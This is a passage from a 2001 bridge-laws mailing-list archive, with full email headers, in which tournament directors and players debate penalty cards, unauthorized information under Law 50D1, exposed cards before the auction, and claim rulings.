hearts. Now what? Without the penalty card situation, the jack of diamonds would be an illegal play, being demonstrably suggested by unauthorized information. However, if the answer to my first question is correct, the definition of "legal" used by L50D1 doesn't include plays that are illegal for this reason. So, since this is your first legal opportunity, you play the diamond jack. Of course, this sets up the suit partner "bid", and down goes the contract. When the opponents call for the director, you explain that the TD has no power to adjust, since, although the diamond lead was demonstrably suggested by the UI, you had no logical alternative to the diamond lead, since you were required to follow Law 50D1. Now, I realize that several non-specific Laws, apply, such as 12A1 (empowering the TD to adjust the score when the laws don't provide indemnity), 70B2 (prohibiting intentional violations of the law), and 94A3 (empowering the TD to summarily defenestrate pairs who pull the kind of shenanigans you guys just did). But what Laws specifically address this sort of situation? For example, what would happen in a case where the penalty card was accidental, or happened before the UI? Would the lead be considered "illegal" by L16A and therefore not required to be led by L50D1, or would L16A apply as though there were logical alternatives even though "violating the law by not leading a penalty card" would reasonably be considered "not a logical alternative"? -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 12:22:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O1MlN10851 for bridge-laws-outgoing; Wed, 24 Jan 2001 12:22:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta06-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O1Met10805 for ; Wed, 24 Jan 2001 12:22:41 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta06-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license 85b07e7cd9378159aa6ecc9a5634d971) with SMTP id <20010124012335.MVAM16740.amsmta06-svc@witz> for ; Wed, 24 Jan 2001 02:23:35 +0100 Message-Id: <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> X-Sender: a.witzen@mail.chello.nl X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Wed, 24 Jan 2001 02:22:24 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Exposed Card before auction begins (?) In-Reply-To: References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:02 PM 23-01-01 -0500, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >At 12:13 AM -0800 1/23/01, Marvin L. French wrote: > >>If the auction has not begun, L16B (pertaining to UI) applies. I >>think L16B and L24 assume the auction hasn't begun until it has >>begun for both sides (see L17). If that isn't so, this subject could >>get very complicated. > >I don't know what leads you to conclude that these laws assume that. >Law 17, at least, is clear: the auction begins for the two sides at >different times. > > >>If the auction has begun and the card dropped was in a "position for >>the face to be seen" by your partner, then L24/L24B applies. It >>seems to me that "face up on the table" puts the card in such a >>position. It doesn't matter whether she actually saw it or not. > >Agreed. > >>Strictly speaking, Law 24 doesn't say it's a major penalty card, >>only that it must be left face up on the table until the auction >>closes and your partner must pass at next turn to call. It only >>becomes a major penalty card during play if an opponent becomes >>declarer and chooses to treat it as one. Otherwise it is picked up >>and is not (and has never been) a penalty card. >> >>At one time ACBL directors were told that they must declare this >>card to be a major penalty card during play, but the ACBLLC affirmed >>last summer that this decision is up to declarer, not the TD. > >Yeah, I glossed over that little bit. At the table, she didn't >mention an option, she called it a penalty card. > >>No, it hinges on whether anyone at the table has looked at their >>cards. > >Not according to Law 17, it doesn't. > >>>At this moment I can't say for sure whether she had seen them or >>>not, but I think not. >> >>It's for the TD to determine whether *anyone* has looked at the face >>of their cards. > >Well, d'uh. As I said in a message to David a minute ago, I talked to >this TD again yesterday, and she wasn't sure whether partner had >looked at her cards or not, but she thought partner had. She did >agree that it was *partner* that mattered. > >Regards, > well, as i see it (in our ducth lawbook 17 says that if one of the players of the partnership looks at his cards......... and the Da putting open on the table is looking at the cards (is that true???) then bidding has started for them; regards, anton >Ed > >mailto:ereppert@rochester.rr.com >pgp public key available at ldap://certserver.pgp.com or >http://pgpkeys.mit.edu:11371 >pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE > >-----BEGIN PGP SIGNATURE----- >Version: PGPfreeware 6.5.8 for non-commercial use > >iQA/AwUBOm4bpr2UW3au93vOEQKXMwCeMcRlg6OeCItueEOFOqcbJJOF+OIAoIHp >q8IsYDASqyZkTN5u4HEwujFc >=zpwb >-----END PGP SIGNATURE----- >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 12:51:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O1p5i14744 for bridge-laws-outgoing; Wed, 24 Jan 2001 12:51:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O1ott14692 for ; Wed, 24 Jan 2001 12:50:56 +1100 (EST) Received: from dodona (host62-6-91-28.dialup.lineone.co.uk [62.6.91.28]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id BAA25158; Wed, 24 Jan 2001 01:50:18 GMT Message-ID: <000401c085a8$4e8df520$1c5b063e@dodona> From: "Grattan Endicott" To: "David Stevenson" , "Ed Reppert" Cc: References: <01C082FA.E03553C0.tsvecfob@iol.ie><200101211728.MAA01229@calum.csclub.uwaterloo.ca> Subject: Re: [BLML] penalties AND UI - too much ? Date: Wed, 24 Jan 2001 01:51:34 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "If you are foolish enough to be contented, don't show it, but grumble with the rest." ~ Jerome K. Jerome <===> ----- Original Message ----- From: Ed Reppert To: David Stevenson Cc: Sent: Tuesday, January 23, 2001 11:35 PM Subject: Re: [BLML] penalties AND UI - too much ? > Law 50D1 says, in part, "A major penalty card must >be played at the first legal opportunity, whether i>n > leading, following suit, discarding or trumping (the > requirement that offender must play the card is > authorized information for his partner; however, other > information arising from facing of the penalty card > is unauthorized for partner)." Of course I accept it, > how could I not? > > Regards, > > Ed +=+ The way I read this is that you may not profit from information gained such as the location of other cards, and so increase the picture you have of the declarer's hand. I am clear enough that it has no effect on the right given explicitly in Law 50D2(b), to lead *any* (repeat, ANY) card in the circumstances specified in that law. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 13:23:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O2MhA17159 for bridge-laws-outgoing; Wed, 24 Jan 2001 13:22:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta04-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O2Mbt17153 for ; Wed, 24 Jan 2001 13:22:37 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta04-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license 85b07e7cd9378159aa6ecc9a5634d971) with SMTP id <20010124022407.QBDM4619.amsmta04-svc@witz> for ; Wed, 24 Jan 2001 03:24:07 +0100 Message-Id: <3.0.2.32.20010124032231.010c42f0@pop3.norton.antivirus> X-Sender: a.witzen/mail.chello.nl@pop3.norton.antivirus X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Wed, 24 Jan 2001 03:22:31 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Another penalty card and UI question In-Reply-To: <200101240113.RAA17289@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 05:13 PM 23-01-01 -0800, you wrote: > >Law 50D1 says a major penalty card must be played at the first legal >opportunity. What's the definition of "legal" here? > >This one is easy, right? It means you must play the card at your next >opportunity to play, when the obligation to follow suit does not >prevent you from doing so. > >OK, so what happens here? > >LHO opens 1S; RHO bids 2D; LHO bids 2NT. At this point, partner asks >a whole lot of pointed questions about the 2D bid, and then passes. >RHO then bids 3NT, ending the auction. Partner leads a heart. > >On this trick, you play the jack of diamonds; then you say, "Ooops, I >have to follow suit". So you then play the ace of hearts. Now what? > >Without the penalty card situation, the jack of diamonds would be an >illegal play, being demonstrably suggested by unauthorized >information. However, if the answer to my first question is correct, >the definition of "legal" used by L50D1 doesn't include plays that are >illegal for this reason. So, since this is your first legal >opportunity, you play the diamond jack. Of course, this sets up the >suit partner "bid", and down goes the contract. > >When the opponents call for the director, you explain that the TD has >no power to adjust, since, although the diamond lead was demonstrably >suggested by the UI, you had no logical alternative to the diamond >lead, since you were required to follow Law 50D1. > >Now, I realize that several non-specific Laws, apply, such as 12A1 >(empowering the TD to adjust the score when the laws don't provide >indemnity), 70B2 (prohibiting intentional violations of the law), and >94A3 my lawbook goes no further than L93. But i probably will use 91A and suspend the rascal :) regards, anton (empowering the TD to summarily defenestrate pairs who pull the >kind of shenanigans you guys just did). But what Laws specifically >address this sort of situation? For example, what would happen in a >case where the penalty card was accidental, or happened before the UI? >Would the lead be considered "illegal" by L16A and therefore not >required to be led by L50D1, or would L16A apply as though there were >logical alternatives even though "violating the law by not leading a >penalty card" would reasonably be considered "not a logical >alternative"? > > -- Adam > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 13:37:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O2bK817465 for bridge-laws-outgoing; Wed, 24 Jan 2001 13:37:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O2bCt17457 for ; Wed, 24 Jan 2001 13:37:13 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14LFo3-000JgJ-0U for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 02:37:08 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:35:22 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Another penalty card and UI question References: <200101240113.RAA17289@mailhub.irvine.com> In-Reply-To: <200101240113.RAA17289@mailhub.irvine.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <200101240113.RAA17289@mailhub.irvine.com>, Adam Beneschan writes > >Law 50D1 says a major penalty card must be played at the first legal >opportunity. What's the definition of "legal" here? > >This one is easy, right? It means you must play the card at your next >opportunity to play, when the obligation to follow suit does not >prevent you from doing so. > >OK, so what happens here? > >LHO opens 1S; RHO bids 2D; LHO bids 2NT. At this point, partner asks >a whole lot of pointed questions about the 2D bid, and then passes. >RHO then bids 3NT, ending the auction. Partner leads a heart. > >On this trick, you play the jack of diamonds; then you say, "Ooops, I >have to follow suit". So you then play the ace of hearts. Now what? > >Without the penalty card situation, the jack of diamonds would be an >illegal play, being demonstrably suggested by unauthorized >information. However, if the answer to my first question is correct, >the definition of "legal" used by L50D1 doesn't include plays that are >illegal for this reason. So, since this is your first legal >opportunity, you play the diamond jack. Of course, this sets up the >suit partner "bid", and down goes the contract. > >When the opponents call for the director, you explain that the TD has >no power to adjust, since, although the diamond lead was demonstrably >suggested by the UI, you had no logical alternative to the diamond >lead, since you were required to follow Law 50D1. As TD I could deem the card not to be a penalty card. But this is way too deep for 'un ingenu comme moi' (innocent abroad, such as I). cheers john > >Now, I realize that several non-specific Laws, apply, such as 12A1 >(empowering the TD to adjust the score when the laws don't provide >indemnity), 70B2 (prohibiting intentional violations of the law), and >94A3 (empowering the TD to summarily defenestrate pairs who pull the >kind of shenanigans you guys just did). But what Laws specifically >address this sort of situation? For example, what would happen in a >case where the penalty card was accidental, or happened before the UI? >Would the lead be considered "illegal" by L16A and therefore not >required to be led by L50D1, or would L16A apply as though there were >logical alternatives even though "violating the law by not leading a >penalty card" would reasonably be considered "not a logical >alternative"? > > -- Adam > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 13:37:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O2bP117470 for bridge-laws-outgoing; Wed, 24 Jan 2001 13:37:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O2bCt17456 for ; Wed, 24 Jan 2001 13:37:13 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14LFo3-000JgI-0U for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 02:37:08 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:30:46 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Exposed Card before auction begins (?) References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> In-Reply-To: <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <3.0.2.32.20010124022224.010ceae8@mail.chello.nl>, Anton Witzen writes >> >well, as i see it (in our ducth lawbook 17 says that if one of the players >of the partnership looks at his cards......... >and the Da putting open on the table is looking at the cards (is that true???) >then bidding has started for them; >regards, >anton > >>Ed >> We got into this one a while ago (2 years?). If you inspect one card have you inspected the "face of [your] cards"? If so I can play "first card inspected". If it's an Ace I open 1C, strong, if it's a K, Q, J I open the suit. If it's a 10 I open 1NT. I have not psyched as this is my system and there is no regulation to stop me, as it is the best I can do to date. When the TD asks to see my hand I show him the one card I've inspected. Nah, nah. exposing a card does not mean that the auction has started for your side. You'd better look at most of them I guess. -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:06:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O35k620841 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:05:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O35Zt20788 for ; Wed, 24 Jan 2001 14:05:36 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14LGFM-0001OE-0A for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 03:05:28 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:07:28 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] penalties AND UI - too much ? References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-meads writes >In-Reply-To: <9WlVXcA+Ala6EwXP@blakjak.demon.co.uk> >DWS wrote: > >> >Some of the debates on here do seem to me to get a little >> >esoteric at times, and possibly this is one of them. However, I >> >think that the Laws of bridge should at least attempt to keep a >> >grasp, however tenuous, on simple logic. If I know partner has to >> >play the DA at his first opportunity, it seems to me to be a >> >total nonsense that I cannot know that partner holds the DA. >> >Trying to apply this would meet with howls of laughter from (I >> >suspect) a significant number of players, and quite rightly so, >> >IMHO. >> >> The trouble with the simple logic approach to this problem is that >> while your approach is what several people think is reasonable, the >> Law was changed in a way as to make all information about the DA >> [except the fact that it has to be played when diamonds are first >> led] UI. > >IIRC this is not the law. The AI is that the diamond ace must be >played *at the first [legal] opportunity*. It is, IMO, completely >illogical to make a lead which might enable declarer to force a >discard of the DA on some other suit. No, Tim, it is not illogical if it is required by Law. Then it is merely extremely annoying. If you are allowed to stop it being discarded in this way then it may be logical to do so. But the question is whether it is legitimate to do so. Let me try to summarise some of the points of view. I will say that I personally, am not necessarily convinced that anyone really knows the answers. When your pd leads the DK out of turn, and declarer lets it remain as a penalty card, you must lead something. The fact that partner will play the DK on the first round of diamonds is AI to you. Other information from this lead is UI. Now despite the complete certainty of various posters I believe this to be totally ambiguous! Note in passing that there have been several references to L16, and some have suggested it is or is not UI because L16 applies or not or something. Surely this is a red herring: L50D1 says that the info is UI, and thus it is. So what is UI? Let us consider a few things. 1. When partner led the DK it appears he has the DQ else he would not have led the King. Is the fact that he has the DQ UI? 2. When partner led the DK it appears he thought a diamond lead was best on the hand. Is the fact that he thought the diamond lead best UI? 3. When partner led the DK it appears he has not got the DA else he would have led the ace. Is the fact that he has not got the DA UI? That, surely, is the easy bit. The answer must be yes to all three. Everyone happy? 4. Suppose partner has shown 5/6 points in the bidding. Is the fact that he has not got an ace elsewhere in the hand UI? This is perhaps less clear. I think most people will say yes, but my guess is not everyone. Some people will argue that if you can see it on the table you cannot ignore it, and while it is UI that he has the DQ it is not UI that he has the DK. Note that this item can be extended to lots of deductions: can you make deductions about the rest of the hand in any way from knowledge of the DK or is it UI? 5. Suppose you hold the DA. You need to put partner in to lead a heart. If you lead a diamond then partner will play the DK. Is it UI that this is a guaranteed entry? I do not believe that there will be any consensus on this! Tim seems to think it is illogical not to play for it but the question is whether it is UI or whether it is AI. Some would argue if it is UI then what does it mean that it is AI that he will play the king? That is OK: it means [if you follow this approach] that you may not assume that partner will play the DK for the purpose of deciding which suit to play at this moment *but* once you have decided to play a diamond you are permitted to underlead your ace because of knowledge of what will happen is AI. 6. You know declarer has a source of tricks [perhaps a solid club suit in dummy]. You know that partner's first discard will be the DK perforce. Is it UI that he will be forced to discard an honour if you do not get rid of it first? I am not sure we know the answer to this one either. If we can answer all six questions then I think we shall know where we stand with the UI/AI part of L50D1. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:06:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O363F20908 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:06:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O35gt20823 for ; Wed, 24 Jan 2001 14:05:43 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14LGFd-000Ihy-0C for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 03:05:38 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:19:04 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> In-Reply-To: <000f01c084f7$56da27a0$37c188d1@kay> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Nelson/Kay Ford writes >Well, let's see. Declarer at 4S, Vul, says: "We're cold >for 6, partner." > >East, a dirty rotten BL, says: "That's a claim, what's >your line of play?" He obviously is *not* a dirty rotten BL, because he has just given declarer a totally unlooked-for piece of kindness: he has invited him to state a line of play. No BL would dream of doing so, and legally there is no reason why he should. >Now one of two things happens: >1. Declarer is cold for 6 and states how he will take >them, > and scores the slam. >OR >2. Declarer was blowing smoke and can't make 6, but is > able to state a line of play where he makes 5 with >normal > play, and racks up 650. What happens in the 95% of hands where declarer on seeing dummy is pretty certain he can make six, and probably can, but he cannot state a line because there are too many possibilities? Not to mention that he was lucky to find a really kind, generous BL who actually allowed him to state a line. >Just how to you see that the evil BL has damaged the >poor, >innocent Declarer? Well, let's see. Take Case 2, where declarer was blowing smoke. In those cases the TD gives the defence a trick under L73F2 if there was any chance of a trick, so the BL has gained nothing and lost nothing. In all the other cases, where declarer was not trying anything on, he will now make twelve tricks some of the time, eleven tricks some of the time, and the BL gains a trick [say] half the time. I hope he is pleased with himself. So the only time when the declarer was doing anything even a tad unethical is the only time the BL cannot gain. And what of the really evil BL who will not give him a chance to make a Clarification Statement? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:06:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O35eP20806 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:05:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O35Wt20764 for ; Wed, 24 Jan 2001 14:05:33 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14LGFL-0001OF-0A for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 03:05:23 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:10:12 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101222054.MAA17289@mailhub.irvine.com> In-Reply-To: <200101222054.MAA17289@mailhub.irvine.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan writes > >David Stevenson roght: > >> No doubt you are write on the English > ^^^^^ >> language but as a method of ruling a game it makes little sense. > >Just out of curiosity, was this intentional irony, or did Quango jump >on the keyboard again? I am on ten NGs and a mailing list. I write extremely fast because I like to disseminate knowledge. I make a *lot* of typographical errors, especially a lot of spelling errors [and I can spell very well]. Some of them slip through - especially ones that my spellchekka accepts. This was a mis-spelling possibly through haste. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:06:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O365b20916 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:06:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O35ht20828 for ; Wed, 24 Jan 2001 14:05:44 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14LGFd-0001OF-0A for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 03:05:39 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:28:52 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <000401c08489$1a038c40$227193c3@pacific> In-Reply-To: <000401c08489$1a038c40$227193c3@pacific> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott writes >From: David Stevenson >> I know that certain people do not give a damn >> about the game itself, but for those of you that do, >> let me make one more effort. >> >> If we follow what you, Marv, are saying, we >> have reached a position where if you happen to >> remark to dummy that you have twelve tricks, >> clearly not meaning it as a claim, not only have >> the opponents got a right to treat it as a claim, >> but also one to which you will not be allowed to >> add a clarification statement. >> >> Is that what you really and honestly believe is >> what the Lawmakers intended? >+=+ Dear David (S), > To take last things first, >I can speak with absolute authority for two of >the lawmakers. Kaplan and I discussed and >agreed that players so inclined should not be >allowed to jostle opponents into taking their >eyes off the ball by casual comments about >the number of tricks they would win. That is, of course, irrelevant. L73F2 takes care of that. > Secondly I regard the >comment about "certain people who do not >care a damn about the game" as being to a >high degree personally offensive. I believe >you would not intend it so, but there it is. It was not aimed at you personally, but there has recently been a move on this list away from an attempt to run the game for the benefit of the players and a move towards scoring points in discussion without reference to the good of the game. It is up to anyone who reads this to decide whether they believe their first interest is bridge or debating points. > Incidentally, I am slightly >bemused to find you arguing for the intention >of the law (as you think it) rather than the >meaning of the English text. I also consider it >unlikely that what is apparently a statement >about a simple collection of tricks would fail >for lack of an accompanying clarification. If >the statement is justified one would not >anticipate an alternative, normal but less >successful, line of play could be found. Do you think so? KJT93 AQ52 J2 KQ54 A543 2 AK 8754 Opening lead DK. 